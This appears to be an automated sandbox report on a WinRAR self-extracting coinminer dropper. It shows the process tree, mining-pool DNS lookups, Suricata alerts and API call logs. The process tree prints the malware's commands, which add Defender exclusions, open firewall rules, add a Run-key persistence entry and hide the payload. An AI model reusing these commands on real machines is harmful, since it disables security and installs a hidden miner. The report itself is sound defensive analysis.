Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 1, 2023, 9:06 a.m.	Aug. 1, 2023, 9:08 a.m.

Size	4.4MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`6c006bd6ae5d2a1f98bf1d3028db0749`
SHA256	`1ad8fc7446d7b601cd269425d9c556c73ee7b863a866bfb0e8a998355c1e898a`
CRC32	`4CE73DC6`
ssdeep	`98304:UblAbmzu9QYWYF/ntx4ctNz6eFNf1Vf0tmYFfunfqowaA1N4v:UGwuqPktxfIeDf1Vf0pJunirarv`
PDB Path	D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
Yara	UPX_Zero - UPX packed file Win32_WinRAR_SFX_Zero - Win32 WinRAR SFX OS_Processor_Check_Zero - OS Processor Check Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

4XR.exe "C:\Users\test22\AppData\Local\Temp\4XR.exe"
2548
- cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\12.bat" "
  2640
  - wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\test22\AppData\Local\Temp\vbs.vbs"
    2768
    - cmd.exe cmd /c ""C:\Users\test22\AppData\Local\Temp\C3.bat" "
      2868
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\4.zip"'
        2928
      - powershell.exe Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.zip"'
        3028
      - 7z.exe 7z.exe x -o"C:\Users\test22\AppData\Local\Temp" -y 4.zip
        1964
      - powershell.exe powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
        2120
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
        2176
        
        netsh.exe "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe" enable=yes
        2316
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2484
        
        WMIC.exe wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
        2584
        
        cmd.exe "C:\Windows\system32\cmd.exe"
        2780
        
        WMIC.exe wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        2752
        
        attrib.exe "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\C3.exe"
        2772
      - reg.exe REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "4" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\4.exe" /F
        2948
      - 4.exe "4.exe"
        2980

Name	Response	Post-Analysis Lookup
moner0000f5rvt.site	A 31.31.196.183	31.31.196.183
xmr.2miners.com	A 162.19.139.184	162.19.139.184

IP Address	Status	Action
162.19.139.184	Active	Moloch
164.124.101.2	Active	Moloch
31.31.196.183	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.101:59002 -> 164.124.101.2:53	2040353	ET COINMINER Observed DNS Query to Cryptocurrency Mining Pool Domain (xmr .2miners .com)	Crypto Currency Mining Activity Detected
TCP 192.168.56.101:49190 -> 31.31.196.183:443	906200068	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (CoinMiner)	undefined
TCP 192.168.56.101:49191 -> 31.31.196.183:443	906200068	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (CoinMiner)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.101:49189 162.19.139.184:12222	None	None	None
TLS 1.3 192.168.56.101:49190 31.31.196.183:443	None	None	None
TLS 1.3 192.168.56.101:49191 31.31.196.183:443	None	None	None

Queries for the computername (28 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2023, 9:06 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 1, 2023, 9:06 a.m.			0	0
IsDebuggerPresent Aug. 1, 2023, 9:06 a.m.			0	0
IsDebuggerPresent Aug. 1, 2023, 9:06 a.m.			0	0
IsDebuggerPresent Aug. 1, 2023, 9:06 a.m.			0	0
IsDebuggerPresent Aug. 1, 2023, 9:06 a.m.			0	0

Command line console output was observed (50 out of 93 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: echo console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: off console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: The batch file cannot be found. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: Add-MpPreference -ExclusionPath C:\Users\test22\AppData\Local\Temp\4.zip console_handle: 0x00000013	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: Add-MpPreference -ExclusionPath C:\ProgramData\Microsoft\Windows\Start Menu\Pro console_handle: 0x00000013	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: grams\Startup\4.zip console_handle: 0x00000013	1	1
WriteConsoleA Aug. 1, 2023, 9:06 a.m.	buffer: Extracting: console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 9:06 a.m.	buffer: 4.zip console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 9:06 a.m.	buffer: Extracting console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 9:06 a.m.	buffer: 4.exe console_handle: 0x00000007	1	1
WriteConsoleA Aug. 1, 2023, 9:06 a.m.	buffer: Completed console_handle: 0x00000007	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft console_handle: 0x00000053	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: \Windows\Start Menu\Programs\StartUp" console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x000000a3	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x000000af	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x000000bb	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:2 char:17 console_handle: 0x000000c7	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + Add-MpPreference <<<< -ExclusionProcess "C:\ProgramData\Microsoft\Windows\St console_handle: 0x000000d3	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: art Menu\Programs\StartUp\C3.exe" console_handle: 0x000000df	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x000000eb	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: mmandNotFoundException console_handle: 0x000000f7	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000103	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000123	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000012f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000013b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:3 char:17 console_handle: 0x00000147	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + Add-MpPreference <<<< -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start console_handle: 0x00000153	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: Menu\Programs\StartUp\C3.exe" console_handle: 0x0000015f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000016b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: mmandNotFoundException console_handle: 0x00000177	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000183	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: Move-Item : Cannot find path 'C:\Users\test22\AppData\Local\Temp\%temp%\C3.exe' console_handle: 0x0000001f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: because it does not exist. console_handle: 0x0000002b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: At C:\Users\test22\AppData\Local\Temp\Add.ps1:11 char:10 console_handle: 0x00000037	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + Move-Item <<<< -Path '%temp%\C3.exe' -Destination 'C:\ProgramData\Microsoft\ console_handle: 0x00000047	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: Windows\Start Menu\Programs\StartUp'; console_handle: 0x00000053	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + CategoryInfo : ObjectNotFound: (C:\Users\test22...p\%temp%\C3.e console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: xe:String) [Move-Item], ItemNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.MoveI console_handle: 0x00000077	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: temCommand console_handle: 0x00000083	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: The term '::ii' is not recognized as the name of a cmdlet, function, script fil console_handle: 0x000000a3	1	1
WriteConsoleW Aug. 1, 2023, 9:06 a.m.	buffer: e, or operable program. Check the spelling of the name, or if a path was includ console_handle: 0x000000af	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 128 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b1f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059baf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b670 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b670 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b670 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b2b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b7b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059ae70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b370 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059b370 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048a840 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048a9c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048a9c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048a9c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2023, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0048ac40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 1, 2023, 9:06 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.didat

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

PNG

One or more processes crashed (4 events)

Time & API	Arguments	Status
__exception__ Aug. 1, 2023, 9:06 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x74724387 NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x75c4ef51 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x75c46a9c NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x75c46b42 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x75c46a9c NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x75c65c3a NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x75ce06b8 WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x747fd7e6 WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x747fd876 WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x747fddd0 CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x74718a43 CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x74718938 DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x7471950a WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x747fdccd WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x747fdb41 WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x747fe1fd DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x74719367 DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x74719326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x758577c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x7585788a CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x746da48b CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x746d853b CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x746da4ac CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x746ecd48 CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x746ed87a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x755c33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 47051924 registers.edi: 6936740 registers.eax: 47051924 registers.ebp: 47052004 registers.edx: 53 registers.ebx: 47052288 registers.esi: 2147746133 registers.ecx: 6710824	1
__exception__ Aug. 1, 2023, 9:06 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x75c5374b DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x747ff725 NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x75c6414b ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x746cfe14 StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x747fa338 IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x761ae99f IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x761872ed RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x7617ab0d IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x761ac048 RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x761787f7 RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x76178926 RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x7617d55e IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x761ac44b RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x7617d1f6 RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x7617d1ac RevokeBindStatusCallback+0x125a 